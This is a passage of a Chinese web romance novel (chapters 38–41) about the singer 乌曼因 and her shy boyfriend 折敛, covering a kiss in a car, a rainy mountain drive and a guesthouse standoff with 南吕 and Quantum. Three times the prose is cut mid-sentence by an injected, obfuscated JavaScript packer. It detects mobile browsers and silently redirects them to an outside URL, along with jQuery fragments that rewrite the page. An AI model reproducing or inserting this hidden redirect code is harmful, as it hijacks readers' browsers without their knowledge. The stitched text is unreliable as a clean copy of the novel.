这好像是折敛头一回清清楚楚把“喜欢”两个字说出口。 折敛当然喜欢她,乌曼因从来都不怀疑这个,可她从维修店把人捞出来时就知道他性子那么害羞,说出表白不比杀了他容易点。 “怎么这么突然……”她用气音问。 努力想要把两人间的节奏掰回到正常轨道上来。 “你和别人提到我,”他双手合拢,包裹住乌曼因的手,放到了自己的脸旁,“我以为你不想提起我呢。” “我在北京和经纪人也介绍你了啊,”乌曼因给他看自己的手机,“你看,我屏保都是你。” “不一样……” 不是折敛。 是他人生中最不堪的一面,没有被人割舍掉。 让他不自觉地生出了一丝贪婪的妄念,想要索取更多、想要为她献出更多自己仅剩的一切。 乌曼因此时说什么他都会同意,哪怕是要他放过南吕…… “你特别好,是她太不识好歹了。”折敛小声在她耳边评价道,语气里带点细微埋怨,像是熟稔的自己人,“要我说你就不应该管她的死活。” 毫不讲理的偏袒听得乌曼因浑身舒畅。她吵架是为了一个“道理”吗?当然不是啊,要的就是爽!此时有人无条件站在她的立场上,说太阳是方的都认,哪有人可以拒绝。乌曼因顿觉恍然大悟,明白了折敛为什么突然向她表白。 在折敛围观的这段时间,必定是已经完全被她成熟的人格魅力所吸引,克制不住心里的欣赏,这才激情告白。 逻辑严密,合情合理。 “这可不行哦,”乌曼因想通了,心头那点莫名的负担顷刻消散,整个人自在了许多,眉眼弯起,笑着弹了折敛一个脑瓜崩,“我好不容易才救回一个失足少女,你可别给我找麻烦。” 折敛被弹得微微后仰,不服气地“哼”了一声,揉着额头瞥向别处。过了几秒,才又期期艾艾地转回目光,声音带着点不易察觉的委屈:“其实也不只是失足少女,还有其他人……” 他水光的眸子抬起,话没说完,有些欲语还休。 这话听在乌曼因耳中,却是另一个意思。 来了,果然来了,修罗场问题它终于来了。 她就说折敛果然听见了南吕胡说八道的鬼话!肆无忌惮地说什么“李藏之喜欢乌曼因、乌曼因喜欢李藏之”这些瞎话。 她实在是太冤枉了。 赶在折敛吐出更多让她头皮发麻的控诉之前,乌曼因连忙抬手打断:“我真没有喜欢别人。” “我知道你听了很多,但听我说,”她深吸一口气,话语像连珠炮一样射出,“我不喜欢李藏之,哎,也不是不喜欢,但不是那种喜欢,他对我很重要,就像亲弟弟一样重要!” 她语速飞快,可看着折敛依然怔愣的神色,自己也觉得这解释有点苍白无力。 她觉得不够,索性伸出手抱住了他, 然后仰起头,准确地吻住了他的唇。 39. 山雨 都怪折敛,在确定关系的第一天,他就主动亲了她,从那以后乌曼因总觉得折敛很好亲。 但凡折敛在她面前晃悠,她的目光经常不由自主落到他的唇上,没什么血色。 冷淡又如冰雪一样干净的男人,接吻都青涩。 起初只是带着试探,柔软温热,如同雪花落入湖面。但很快,这个吻就融化了冰雪,逐渐变得深入缠绵,带着一种隐秘已久的、灼人的热度。 折敛最开始下意识地想推开,但那力道却很快松懈下去,变得绵软顺从,像是被这个吻彻底击溃了。 他仿佛终于确认了什么,伸出手,紧紧地抱住乌曼因的后背,手指死死地攥紧她背后的衣料,不肯松开。 他抱得那样死,那样紧,像是在抱住什么失而复得的珍宝。 窗外的暴雨依旧哗啦啦地下着,密集地敲打着车窗。 雨声被无限推远,沦为了模糊的背景音,车厢内只能听到彼此急促的呼吸和心跳声。 最后,是乌曼因结束了这个由她主动的吻。 一丝暧昧的银丝在两人分开的唇间牵连断裂,在昏暗的光线下若隐若现。 乌曼因微微喘息着,额头抵着他的额头,望进他那双失神后又重新聚焦的纯黑瞳孔,声音很认真:“我会和你接吻。” 她的指尖轻轻碰了碰他湿润的唇角。 “但我绝不会想和他接吻。你懂区别了吗,小折敛?” 折敛的睫毛被眼中水光染得湿漉漉的,像小狗一样。小狗不懂,他也不懂。 她的行动一直在说她爱他,连一向脑子不好的南吕都这么觉得,可落到嘴上为什么会是“不喜欢”。 他始终不明白乌曼因对他到底是什么感情,这种感情和其他人有什么区别。 折敛看着她在车内昏暗灯光中显得格外潋滟的眼睛,第一次想起她是个多情的女人,她的爱意慷慨又分散,分成了很多很多份。 折敛又有些不确定了,她表现得很深情,其实真要论起来,可能只有一点儿,李藏之得到的还没有作为折敛能得到的多。 好吝啬。 “哪有人在车里亲别人的,我都没有准备好,”折敛缩回原位正襟危坐,亲完了就不认人,小声说,“流氓。” 乌曼因:“……” 糖衣吃了,把炮弹打回来了? 她好笑地说:“要不要我提醒你,谁在公园里亲我,还被几个小萝卜头看到了……唔!” 折敛连忙捂住她的嘴:“那不一样。” 乌曼因没有拉开他的手,只是用那双过分明眸善睐的眼睛睨着他,眼底藏着些模糊的笑意。 仿佛早就看穿了他所有笨拙的掩饰和口是心非。 这眼神让他心慌意乱,仿佛自己的小心思在她面前无所遁形。 他的掌心能清晰地感受到她唇瓣的翕动,温热的气息拂过肌肤,带来一阵细微而战栗的痒意。 折敛像被烫到一样猛地收回手,指尖蜷缩起来。 “哪里不一样?”乌曼因好整以暇地追问。 折敛退后,乌曼因就像个恶霸一样压上去。 把折敛困在驾驶座一角,满意地看他眼角生出薄红。 他这人害羞的方式也很有意思,不出声不反抗,仅有的应对方法就是把自己变成一只任人把玩的尖叫鸡。 戳一下动一下。 折敛用余光控诉地看着她,殊不知这样让她更想逗他。 戳手臂,手臂挪开,瞪她。 偷袭戳他脖子,没什么反应 不怕痒的神奇物种。 戳腰,还是没什么反应。 腰上也没有痒痒肉。 但是手感意外很结实,乌曼因一边摸一边绷着脸思考,折敛不是个宅男小白脸吗? “你再摸我就把你丢这里了,我自己把车开走,”折敛抓住她的手,恼羞成怒,“流氓!” 骂人词汇好匮乏啊小折敛。 折敛从来就不是真的抗拒,只是脸皮薄得像纸,一戳就破,非要找个台阶才肯下来。 乌曼因遗憾地见好就收,把手收了回来,嘴上却还不饶人:“合格的男朋友就是要给看腹肌的啊。” 她是随意口嗨,根本没指望这家伙会当真,但折敛似乎信了。 他瞳孔地震,薄唇微张,欲言又止。 然后,乌曼因就看见他像是下了什么重大决心,抿着唇,耳廓的红一路蔓延至脖颈。 他低下头,悉悉索索地摸索着捞过她的手腕,有些迟疑、又有些郑重地将她的爪子按在了自己的腹部。 隔着一层薄薄的衣料,温热的体温清晰传来,能看到按压后勾勒出隐约的肌肉轮廓。 “是这样吗?”他忐忑,明明已经牺牲很多了,但仍然无知无觉、不是很自信地说,“我做得不太好的话,你得提醒我。” 比起情史丰富的乌曼因,折敛对如何做一个男朋友更一无所知。 他第一次在知识储备上落了下风,所以很依赖乌曼因的神色反应。 更怕乌曼因察觉到他在哪个方面都是与社会格格不入的、异类。 他有在努力学了,只怕乌曼因不等他。 “不要欺负老实人”和“触感真好”这两个念头同时在乌曼因心头升起。 比刚才硬一些……是因为折敛紧张,不自觉地发了力吗? 见乌曼因神色恍惚,嘴里还念叨着什么“男菩萨”,折敛不安:“是不好吗?” “不不不,手感很不错,完美!”乌曼因感受到手下的块垒分明,热度从指腹传来。 “那就好……男朋友还需要做什么吗?” 乌曼因被他这副“好学生做笔记”般的态度逗得心头发软,但她向来越喜欢越嘴欠。她一边享受着手下绝佳的手感,一边面不改色地继续胡说八道:“其实我们城里谈恋爱男女方还需要对唱情歌,直到把对方唱服为止。所以我们什么时候找时间去唱歌,我得检验一下你的唱功……” 城里怎么听起来那么像刘三姐? 折敛先是愣愣地听着,眼睛眨了眨,终于反应过来乌曼因连带着前面几句话都是在耍他,小发雷霆,忿忿地把乌曼因的手甩回去。 “我不唱,你爱找谁找谁。” 完了,又逗过头了。 把人惹毛了又得哄。 “我就是想听你唱唱歌,真的,你声音太好听了,骗你是小狗,”她脸伸到他面前,仰起脸看他紧绷的下颌线,“折敛最好看了,腹肌世界第一好摸,声音也世界第一好听,我这是捡到什么大宝贝了……” 她好话一箩筐一箩筐地往外倒,什么“最爱折敛了”、“折敛天下第一好”……磨了半天,才感觉到他身体渐渐放松下来,取而代之的是轻咳了一声,说:“也没有那么好啦。” “……”完了,他好像当真了。 两人黏黏糊糊地依偎在一起,直到乌曼因手机上设的准点报时出了声,才让他们从粉红泡泡里惊醒。 一看,时间已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323467|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不早了。 折敛这才想起来正事是什么。他启动引擎,打上灯,不知道怎么的,在乌曼因以为这事已经过去的时候、忽然用轻描淡写的语气,问了一个很恐怖的问题:“那在你眼里,我重要,还是李藏之重要?” 乌曼因顿时有点后悔让折敛开车了。 “为什么忽然这么问?” “唔,这决定了我要不要继续当你的男朋友。” 乌曼因咽了口口水。 怎么……怎么就上升到了这种高度? “或者换个问题,”折敛没觉得自己语出惊人,他在认真地思考,哪个身份能让他更方便地留在乌曼因身边,她喜欢哪个就留哪个,“如果那个人喜欢你呢,你会接受吗?” 乌曼因像是听到什么好笑的事情,见折敛不依不饶地盯着她,漂亮的眸子执着得惊人,非要得到一个结果,她才说:“很难想象这个画面,不过真要发生的话,我肯定会拒绝的。” 折敛没有从她的眼里看出一丝一毫说谎的痕迹,这种坦然让他更加困惑。 刚刚得到夸奖的折敛无法接受被否定,而且是他们已经是男女朋友:“……他有什么不好吗?你为什么要拒绝。” “太熟了,”乌曼因苦恼地挠挠头发,不知道怎么应付折敛的无理取闹,“和熟人谈恋爱的感觉好像左右手牵手成功,听上去也太可怜了。” 折敛不觉得左右手牵手成功有什么不好,他觉得他和乌曼因天下第一配,追问:“如果让你二选一,你会选谁?” 乌曼因:“……你们两个并列在一起就像是哈利波特和华妃,不是一个赛道的,我全都要不行吗……” 折敛的目光看起来像是在看渣女。 折敛说:“我知道了。” “……你说说你知道什么了?” “你不够喜欢他。” 乌曼因想掰开折敛的脑子看看这什么神奇的脑回路:“……我怎么就不够喜欢他了?” “如果足够喜欢,他说什么你都会答应。”折敛抬起眼,目光清凌凌地看着她,说出的话却带着一种近乎幼稚的偏执,“你不答应,说明不够喜欢他。” “……” 乌曼因迷茫,乌曼因沉思,她试图理解这套逻辑,却发现根本说不通。 于是只能又祭出常用摆烂大招——“啊对对对就是这样的。” 反正李藏之人又不在这儿,听到了也不能飞过来打她。 要是真飞过来了,正好,乌曼因正要让他见识下什么叫有来无回。 但折敛却并不高兴,明明得到了想要的答案。他不再说话,显得很安静,身上洋溢的欢喜也仿佛慢慢收敛了回去。 乌曼因看着他忽然沉寂下去的侧脸,有些无措,不知道该怎么哄他。 少男的心思就像六月的天,说变就变。但是折敛都已经二十五了,驾照都考出来不知道多少年,心思依然单纯地像个十八岁的高中生。 感觉生活在一种很纯净的象牙塔里。 这么想着,她就听见折敛说:“你喜欢我吗?” “我当然喜欢你啊,” 他抿了抿嘴,抬眼望过来,眼神里带着点祈求,轻声说:“那我把第一次给你,行吗?” 好啊,小朋友说什么我都答应…… 等等?你在说什么? 乌曼因不自信地掏了掏耳朵。 但看折敛认真的神色,好像就是她理解的那个意思。 乌曼因:“……” 40. 老司机 一般来说,乌曼因在表情管理这一块总是游刃有余的,很少有东西能让她绷不住情绪。 很不巧折敛就是其中之一的天赋型选手。 目测还在成长中。 不知道上天是不是看她活得太滋润了,利用她沉迷美色的特点,给她送来了一个活生生的克星。 痛并快乐着。 乌曼因告诉自己,好事是不可能让你都占全的。白捡了一个聪明漂亮又声音好听的男友,那他必然性格问题很大。 要是聪明漂亮声音好听性格还没问题……就要考虑下是不是碰到仙人跳了。 话说回来这个问题也太大了……不管多少次,乌曼因都会被折敛匮乏、又语出惊人的性知识震惊到。 他说这句话时,还是那副十足苍白冷淡的模样,眼里却充满了期待,像极了以前在地下场所里偶尔会见到的失足少女。 因为没什么见识,随随便便就会把自己托付出去。 这个傻瓜到底知不知道自己顶着一副什么样的脸在说什么话。 女明星捂着小心脏,觉得道德底线正在不断动摇,干部怎么能拿这个考验人民。 为了响应她摇摆不定的心灵,乌曼因头上适时冒出了小天使和小恶魔。 小恶魔说:“答应他!你和他说,宝宝,我绝对不会辜负你的!” ……会不会太油腻了? 小恶魔:“不会的不会的,你看他那好骗的样子,勾勾手就上当了!” 乌曼因:确定不是我上当? 小天使说:“那你就和折敛坦白——‘其实我也是第一次,咱俩谁占了便宜还不好说’?他一定会理解你的临阵脱逃的!” 乌曼因:这是嘲讽吧?你是不是在嘲讽我?我只是想婉拒,不是揭我老底,你出的什么馊主意! 乌曼因把没用的天使和恶魔都拍散,觉得还是得靠自己,捏着下巴琢磨果然解铃还须系铃人。 小折敛为什么忽然提起这个?有什么刺激到了折敛? 根据上下文对话,他们提到了……李藏之?可她解释了啊。 小李同学生态位和折敛完全不一样,折敛一直很听话,不应该怀疑才对。 这其中发生了什么她不知道的事情吗? 乌曼因突然想起了南吕的经历,一个很恐怖的猜想在她脑海里闪现,她谨慎地问:“是李藏之给你打电话,威胁你了吗?” 折敛本来在很慢吞吞地踩着刹车充当路上乌龟,闻言车猛得一停,差点把乌曼因颠出去。 等他回过神来才慢慢往前开:“……没有,为什么你会这么想?” 乌曼因抓着安全带松了口气,被自己的脑洞吓了一跳。 谢天谢地小李同学没有去外人那里发癫。 乌曼因解释:“因为你好像对他很有敌意,你们两个都是我很重要的人,我不想产生误会。” 折敛看上去有些无语,偏头:“没有误会,我知道你喜欢我比喜欢李藏之多。” ……光这句话的误会就很大。 乌曼因欲言又止,目光不自觉地移开,不太敢看折敛被远光灯照得微亮的眼睛。 其实真要论重要的人,她肯定选李藏之。 男朋友八年换了八任,而弟弟十年就这一个。 说实话让小折敛伤心了怎么办? 还是不说好了。 做女人,最重要的是家宅安宁。 …… 折敛抬眼,用余光扫过副驾上美丽年轻的女明星。 乌曼因今天把她的大波浪长卷发扎了起来,只留下耳边鬓发小巧的两缕,随着她双手撑下巴神游时一弹一弹。 她一逃避就喜欢眼神乱飘。 看天看地就是不看他。 折敛很耐心地等着乌曼因的回答。 每当乌曼因偷偷摸摸投注过来“小猫犯错”的视线,企图观察他的反应,他就用询问的目光看回去。 “你不要我吗?你不喜欢我吗?”折敛又问。 他偏不让乌曼因逃避。 折敛可不是自由散漫又想一出是一出的乌曼因。 只要折敛想做的事情,很少有做不成的。 乌曼因哪见过这种直球选手,正心虚着呢,闻言立马说:“要的要的。” “宝宝我们回北京再说吧,你都没有去过我家对不对,我家还蛮大的哦,”乌曼因把安全带抓得更紧了一点,拼命找理由,“这种事情不管怎么说还是要慎重一点,要提前准备很多东西的……” 此人一心虚不仅眼睛乱飘,话还很多,已经开始胡言乱语了。 折敛想了想。 以他的情商,听出隐含的拒绝含义有些超纲了,他反而觉得乌曼因考虑非常周全,赞同地“嗯”了一声。 “你说得对,是要准备很多东西。我回去找一下我的体检报告,你要看吗?是单位每年组织的,如果你不放心的话,我可以再去体检一下。” “?” 重点是这个吗? 乌曼因思考方向给他一路带跑偏。 好像是很重要没错…… 毕竟身体是革命的本钱。 乌曼因也不是没问前男友要过体检报告。其中一个叼毛居然敢倒打一耙,说她不相信他,真爱是不用体检报告的。 什么真爱,听不懂思密达,和医院传染病三项解释去吧。 遂断崖式分手。 亏那个演员前男友还是她前任里长得最好看的一个。 越漂亮的男人越会骗人,乌曼因吃了一次亏后深以为然。 折敛虽然也长得漂亮,但是一看就很诚实。 经过吃一堑吃二堑……吃八堑,乌曼因依然很相信自己的眼光。 如果有人问乌曼因,你为什么会喜欢折敛,乌曼因肯定先脱口而出看脸啊,再等她思考一下,她会说,因为折敛很独特。 折敛不同寻常的脑回路也是吸引乌曼因的一大理由。 你是一个在鸟巢开过演唱会的知名歌手、大街小巷都放着你唱作的歌,这很酷。 当这么一个明星的男朋友,理论上来说压力大的要死,却依然保持平淡到像伪装一样的迷恋——拜托这种性格超酷的好吗。 乌曼因的直觉告诉她折敛是真的不为所动,他的情感显得真实又虚假,仿佛不知道她职业的特殊、她有成千上万的狂热粉丝,她的钱多到可以淹了他一样。 没有任何强撑、胆怯和贪婪。她家境最好的一任男友也只能做到假装无视她的事业,不停试图夸耀自己以达到两人名义上的相衬。 真奇怪,这些明明是人性。 但是折敛似乎没有人性。 这么说好像有点不礼貌……但是乌曼因确实是是这么想的。 普通人看久了就会对世界百无聊赖,只有偶尔发掘出独特的人,每一步都踩在她的意料之外,生活才会有趣嘛。 她喜欢尝试高难度,也不介意为自己的任性买单。 想拨开观察折敛藏在害羞、没有人性的漠然内壳里到底是什么。在更难控制自己的生理场合,会不会展露真实的? 会更独特,还是平庸? 乌曼因笑着问:“你怎么不要我的体检报告?” 折敛愣了一下,牛头不对马嘴地说:“我可以做计生措施。” “这时候你应该说‘我相信你’,而不是说‘我有计生措施’。” “哦,”折敛平铺直叙地说,“我相信你。” 乌曼因满意了。 “等回了北京,请你来我家玩,”乌曼因畅想道,“我家有个水吧台,以前我在酒吧驻唱时学过一些调酒,漂亮的酒我都会调,味道也不错。” 折敛想象了一下,回忆乌曼因的动手能力,只能说保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323468|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持美好的期待。 …… 村屋和灯火逐渐消失在视野里,车驶上了盘山公路。没有路灯,也没有别的车。 好像世界忽然安静下来,车内和车外似乎间断成了两个世界。 折敛……依然开得很慢。 他双手捏着方向盘,仔细地分辨路边的反光片,浑身上下写着“新手上路”四个字。 乌曼因看了看时间,又看了看车子的时速,犹犹豫豫地问:“小折敛,你平常开不开车?” 折敛说:“很少开。” “……很少是多少?” “考完驾照就没有开过。” 像是预判到了乌曼因下一个问题,折敛提前说:“驾照是大学的时候考的。” “……”可你现在已经博士要毕业了啊喂。 什么旖旎暂时都放放,望着窗外的瓢泼大雨、茂密的深山老林和嵌满了土坑的车道,乌曼因被吓得脑子清醒了不少,聪明的智商重新占领高地:“你早说啊,让我来开让我来开。” 折敛评估了下自己的车技,很听话地停下车。拿上雨伞,钻出了驾驶座。 两人冒雨交换了位置,手碰到方向盘的那一刻,乌曼因长长吐出一口气。 安全感总算回来了。 风和雨越来越大了,昏暗的天气已经如同夜晚,乌曼因觉得开车不太安全,就和折敛商量:“我们附近找个民宿住下吧,明天再回县里怎么样?” 折敛应了,手机上找到附近一家民宿设成目的地,然后说:“我把你的行李箱带过来了,就在后座上。” 乌曼因欢呼一声,更顺手地捞过折敛的脸,在他脸上亲了一口。 满意地看着折敛又僵直成一只副座上的尖叫鸡。 她给南吕发消息,提醒他们注意天气,婚可以以后再结,小命只有一条。 聊天框上面反复出现“对方正在输入……”,最后发来三个字—— 要你说。 …… 老司机乌曼因踩下离合器,往前推动操纵杆,她经手后,车速就提了上来,钢铁车身劈开雨幕,雨珠四溅,变得轻盈。 车在蜿蜒如蛇的山道上跑着,引擎轰鸣,开着雨刮,车窗外雨幕连天,乌曼因习惯性地外放了李藏之的歌单。 这些器乐交织出的旋律,和莲花蜡烛里那些比起来,只少了李藏之标志性的吟唱。 她还是怀念莲花蜡烛里的那首、她命名为《重逢》的歌,可惜暂时音频不在身边。 随时选择了一首情绪最激烈的、最适合开车听的歌。 乌曼因一直觉得,听觉是最适合调动情绪的感官。声音能直接钻进心里,不需要经过思考,音乐一起,人的情绪就被牵着走了。 但折敛偏偏是听力残疾人。 她觉得激昂连贯的歌,在折敛的世界里,也许只是断续破碎的振动,呕哑嘲哳的噪音。 乌曼因早就注意到,折敛对她放的所有歌曲都显得兴致缺缺, 他从不跟着节奏有轻微的动作,不会询问歌名,只是静静看着窗外,仿佛音乐的节拍不存在。 乌曼因想,以后尽量还是戴耳机吧。 大大小小的雨打在车窗上,为进行中音乐叠加了一层自然的音轨。 全世界只有他们两个人。 乌曼因忽然听懂了这首歌曲,恐慌、囚笼、反抗,收束了理想。 激烈的编曲,不是漫无目的的宣泄,像是一个人在无人处呼喊。 有个人一直说,歌曲所有的情感都是她这个作曲人的,他离了数学,就无法编曲。 他说自己只会用公式计算和弦走向,用算法生成节奏,强调自己是个没有感情的编曲机器。 这是假的。 乌曼因此刻清晰地听出来——在离开她的这几年,他分明已经学会了激烈的,完成了如同烈火般的创作。 41. 民宿 导航显示民宿就在前方不远处,一座四层小楼带着柔和的灯光在雨幕中渐渐显现轮廓。 黄钟县是个经济很发达的县城,连带着附近的旅游产业都透着不差钱的精致。 哪怕只是随手找的一间普通山沟沟里的山村民宿,远远望去设计感十足,一副网红打卡地的模样。 不知道的还以为奥运会开在了山里。 但乌曼因这个时候实在没什么心情欣赏建筑内涵,经历过台风吹过山谷像鬼魂在后面追的声音、碗口粗的竹子被直接吹到伏地的惊悚桥段,让她现在见到路边的民宿就像恐怖片片场里的主角终于摸到了安全屋。 白天还好好的天气怎么晚上画风突变。 早知道就多听真音姐唠叨几句了。 虽然在黄钟县呆过两年但是以前台风天她都会老老实实和李藏之一起蜗居在小房间里,捧着暖呼呼的饭菜,偶尔还喝点小酒——当然李藏之是未成年人他禁止喝酒——隔着窗户看雨落在芭蕉叶上,劈里啪啦,总之还挺有情调的。 没想到深山老林里的台风简直就是另一幅模样,摧枯拉朽,扫荡过一个又一个山头。 乌曼因一个潇洒的甩尾,把车正正好好地停进民宿的院子里。 折敛撑着伞,小心又迅速地把乌曼因护在伞下,不这么做的话,感觉乌曼因更想冒着花洒淋浴一般的雨幕直接冲进房子里去。 明明是一个女明星……怎么可以这么冒失! 但他又没有办法,他拿乌曼因根本没有办法。 定制的厚玻璃门“咔哒”一声合上,将狂风暴雨彻底隔绝在外。面前是灯火通明的民宿大堂。 内里别有洞天,装修整体是时下流行的极简ins风格,大面积留白与原木搭配上中式隔断。 乌曼因正打量着这潮流的装修,手上下意识地理了理被雨气浸得有些潮湿的头发,目光无意间越过一米高隔断屏风,后面的南吕和Quantum。 南吕斜靠在一张竹制沙发上对着笔记本敲敲打打,Quantum则坐在她旁边打王者。 ……这不巧了嘛。 出村就这一条道,想要安置的话也没什么其他选择。 两人刚经过一番“友好”的交流,此时再见面,空气里弥漫着挥之不去的尴尬。 南吕先抬起了头,一眼就瞧见站在大厅的乌曼因,这人站在那里都像个天生的聚光灯。她不想气势低人一等,率先“哼”了一声。 一旁的Quantum抿了抿嘴,知道劝不住,只能先放下手机,在旁边当个随时上来劝架的哑巴。 折敛半侧过身挡住乌曼因,他微垂着眼,目光越过中式隔断、落在南吕身上,那眼神里没什么温度,带着一种近乎审视的凉意,觉得这家伙真是又蠢又不长记性。 以前就不聪明,这么多年过去,光涨年纪不涨脑子。 报个仇生生拖到现在,还把自己的婚礼搭上。 至于她旁边那个选择沉默的Quantum……折敛的目光扫过。 这就是乌曼因以前很喜欢的游戏搭子? 两个蠢东西凑一块了。 南吕只觉得背后莫名一寒,好让人不爽的眼神,她和Quantum没得罪过乌曼因的男友吧,用这种眼神看着她干嘛?究极护短怪? 但再怎么说,被乌曼因家养的小白脸看不起也十分没有面子可言,于是她凶狠地瞪回来。 今天她心情超级不好,谁来惹她她都得咬回去。 Quantum发现南吕居然开始对着乌曼因的男朋友龇牙咧嘴后,觉得还是太过了,把南吕的头扭回来,低声哄她。 南吕说:“他先瞪我的。” Quantum:“可能只是好奇乌曼因的朋友,你不也跟我说了很多关于‘乌曼因交了男朋友’之类的感叹吗?好奇都是相互的。” 南吕:“那是我担心他被某人撕了,这人不识好人心,还瞪我!” Quantum:“真的吗?你的脸上好像写着幸灾乐祸呢。” 南吕:“你怎么能这么想我!今晚分床睡吧!” Quantum很快道歉:“对不起,是我看错了,你一直人美心善。不可能会期待乌曼因被恋爱搞得焦头烂额的。” 南吕“哼哼”两声表示肯定,不情愿地把头靠在他脖颈上,趁机向他提要求:“今天晚上能不吃叶酸吗,好难吃,我不想吃。” Quantum微笑:“不行。” 折敛:……脑子好像更不好了,和她计较都显得在拉低自己的档次。 乌曼因没注意到这边不友好的眼神机锋,她作为一家之主,手上拖着自己的行李箱,接过了和前台老板交涉的任务。 这座很潮流的民宿居然有个眼里写着精明的中年男老板,他开口就说:“精装大床房三千一晚。” 乌曼因觉得这价格也太离谱了:“你房间地板烫金了?这么贵?” “哪里贵了?床是原木做的,员工要吃饭住宿,打扫的阿姨要钱,我们民宿还要付村里水电费网费。不接受可以不住。” 乌曼因不理他,转头问南吕:“你们住一晚多少钱?” 南吕吸了吸鼻子,过了一会才反应过来乌曼因真的在和她说话:“八百块。” 虽然也挺贵但还在可接受范围内。 乌曼因死鱼眼地看向前台老板。 老板被现场戳穿坐地起价,脸上有点挂不住: “下暴雨涨价不是很正常的事情吗?方圆几里就我这一家能住,你住不住?” 折敛向乌曼因点点头,意思是老板说的是真的,这荒山野岭的,方圆几十里就这家民宿。 要么他们就折回去,在南吕老家住一晚。 问题是乌曼因刚把南吕叔叔婶婶骂了一通,更大的可能性是被主人丢出来。 ……南吕老家到底是什么偏僻地方,Quantum开车进来的时候真不会怀疑自己的人身安全吗。 乌曼因是那种人在屋檐下就会威胁到的人吗? 不是。 她听完立刻扭头,上前两步捏起南吕的手,真诚地问:“你们已经订好房了吧?” 南吕还没反应过来,没能及时察觉乌曼因的险恶用心,迷迷瞪瞪点了点头。 “那就好,让我和男朋友在你们房间打地铺吧,我付你们四百。放心我眼神不好我男友耳朵不好,你们要做什么都不会打扰到我俩的,完全可以当作我们不存在。” 南吕:“……” 已经被她的无耻震惊到有些失语了。 说着乌曼因就挟制南吕,跟提小鸡仔似的,大摇大摆地一起往楼上走。 老板在后面气得话都说不全了:“你怎么能这样,你——” “你什么你,你卖出去了就不是你的,管我们怎么睡,再逼逼我明天叫一面包车人来睡一个房间。” 其实语气更像“我明天叫一面包车人来弄你”。 见乌曼因真的要扛着行李去南吕房间里打地铺,前台老板在“少少的赚一笔”和“一分钱也赚不到”之间还是妥协了,叫住乌曼因。经过一番唇枪舌战,按照八百一晚的价格卖了她一间大床房。 老板看上去更想推销双床的套间,被乌曼因果断拒绝。 不能被奸商老板再找到坑她一笔的机会。 反正就算买了双床房折敛还是会摸上来的。 乌曼因本人意志又不是很坚定,折敛是蓝颜祸水的话乌曼因就是那个昏君,祸水和昏君要什么。 拿到房卡后,乌曼因很满意,不顾南吕反对搂着她肩膀说:“看来不用去你房间打地铺了,等我婚礼上给你包一个两千二的红包。” 没有这一遭是打算一毛不拔是吧? “你居然良心发现了,”南吕阴阳怪气地说,“不对,谁让你来参加我的婚礼的?” “婚礼请柬还在我这儿呢,”乌曼因说,“而且谁说是你的婚礼啦?我是说,等我结婚了就给你发红包,在此之前先欠着。” “?!” 怎么会有这么无耻的人。 即使带了一个男朋友,南吕依然笃定乌曼因是不会结婚的。 她就是那么一个只会享受生活,根本不会踏进婚姻坟墓的人。“自由”简直就是乌曼因的出厂设置,如海燕般不会为任何人停留。 只是玩玩而已,哪怕是新男友真的是个罕见的安静美人。 他再瞪她也改变不了乌曼因对情感的随意,迟早被乌曼因抛之脑后,哼。 南吕看上去红温了。 Quantum见事态不对,连忙哄骗着把她往电梯里带,顺手带上了她的笔记本。 电梯门合拢前,他回头歉意地朝两人笑了笑。 乌曼因还要嘴贱两句的时候,发现折敛悄悄捏着她的衣服下摆,于是她也蔫了。 他的手指勾着她衣角的那点布料,力道很轻,却顿时拴住了她的张牙舞爪。乌曼因那些冲到嘴边的、没心没肺的玩笑话,顿时卡了壳。 她讪讪地扭头,对上折敛清凌凌的眼睛。 “……真的要在结婚的时候给她红包吗?”他有些不情愿。 乌曼因嘴一向比脑子快很多,插科打诨、玩笑戏谑,无所不说。 随口说的玩笑,南吕都知道没戏,但是折敛会当真的。 今晚上又是“第一次”又是结婚,乌曼因有种招惹了良家少男的不安。 总感觉不太妙呢。 乌曼因干笑:“是开玩笑的啦、开玩笑,我会在她婚礼上把红包给她的。” 知道不是自己的婚礼,折敛有些小小的失落。 他控诉:“她都在利用你了,你还对她笑,搂她肩膀、还要给她发红包!” 乌曼因:“只是笑了一下吧?而且还是很挑衅的笑……南吕好像快要炸掉了你没看见吗?” 很显然,挑衅的笑和在折敛的眼里是一样的。 他还沉浸在威胁南吕失败,还被南吕抓住的乌曼因的软肋的挫败、偏偏乌曼因自己对南吕根本毫无警惕心。 她根本没有把之前的事情放在心上,依然那么亲近南吕,还、还搂南吕肩膀…… 陷入不爽的折敛完全忽视了身高的问题。 乌曼因经常搂南吕是因为南吕正巧矮她半个头,手搭上去毫不费劲,谁看到这么个合适的人体架子不手痒呢。 乌曼因同样不理解折敛为什么对南吕的敌意也那么重,但她已经习惯了自己身边的人经常莫名扯头花,只能先硬着头皮把折敛推进了电梯里:“呃,你听我狡辩……” 乌曼因真不觉得这是什么大事。 何况南吕还给她带来了李藏之的线索。 从小乌曼因就不喜欢一帆风顺的世界,如果人生是日复一日平淡无奇,她会自己把自己无聊死的。 生活和身边的人要是太简单,擅自加点难度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 